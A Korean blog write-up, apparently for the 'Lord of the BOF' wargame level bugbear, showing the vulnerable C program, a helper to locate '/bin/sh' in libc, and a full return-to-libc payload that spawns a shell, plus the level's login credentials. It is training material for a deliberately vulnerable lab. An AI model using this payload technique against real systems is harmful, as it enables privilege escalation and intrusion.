SH1R0_HACKER
13. darkknight -> bugbear 본문
id : darkknight
password : new attacker
[bugbear.c]
/*
The Lord of the BOF : The Fellowship of the BOF
- bugbear
- RTL1
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack betrayed you!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
40byte의 buffer 변수를 생성했고
argv[1][47]이 \xbf 면 stack betrayed you!! 를 출력하고 프로그램을 종료합니다.
이 문제에서는 RTL (Return to Libc) 기법을 이용하여 공격을하면 됩니다.
공유 라이브러리 함수의 주소를 가져와서 RET에 주소를 덮어쓰고 이를 호출하는 기법입니다.
bugbear의 복사본을 생성하고 main에 브레이크포인트를 걸어주고 실행합니다.
p system
명령어를 이용하여 시스템 주소를 알아냅니다.
시스템 주소 : 0x40058ae0
#include <stdio.h>
int main() {
long system= 시스템 함수의 주소;
//system함수의 주소에서 8바이트씩 /bin/sh를 비교해서 찾는다.
while(memcmp((void*)system, "/bin/sh\x00", 8))
system++; //못찾으면 다음 주소로
printf("/bin/sh : %p\n",system); //"/bin/sh" 주소 출력
}
위 코드는 "/bin/sh" 문자열의 주소값을 출력해주는 코드입니다.
vi 편집기를 이용해서 위와같이 작성해주고 저장합니다.
컴파일 명령어는 아래와 같습니다.
gcc -o binsh binsh.c
/bin/sh 주소 : 0x400fbff9
이제 페이로드를 작성합니다.
40byte의 buffer와 4byte의 SFP를 A로 다 채워버리고 RET 주소에 시스템 주소를 넣어줍니다.
이후 Dummy 4byte를 넣어주고 /bin/sh 주소를 넣어줍니다.
(RTL Chaining 기법)
Buffer (40byte) + SFP (4byte) + System (4byte) + Dummy (4byte) + /bin/sh (4byte)
완성된 페이로드는 다음과 같습니다.
./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"AAAA"+"\xf9\xbf\x0f\x40"'`
'System > The Lord of BOF' 카테고리의 다른 글
LOB 초기 셋팅 (0) | 2021.06.27 |
---|---|
14. bugbear -> giant (작성중) (0) | 2021.02.03 |
12. golem -> darkknight (0) | 2020.10.30 |
11. skeleton -> golem (0) | 2020.10.29 |
10. vampire -> skeleton (0) | 2020.10.28 |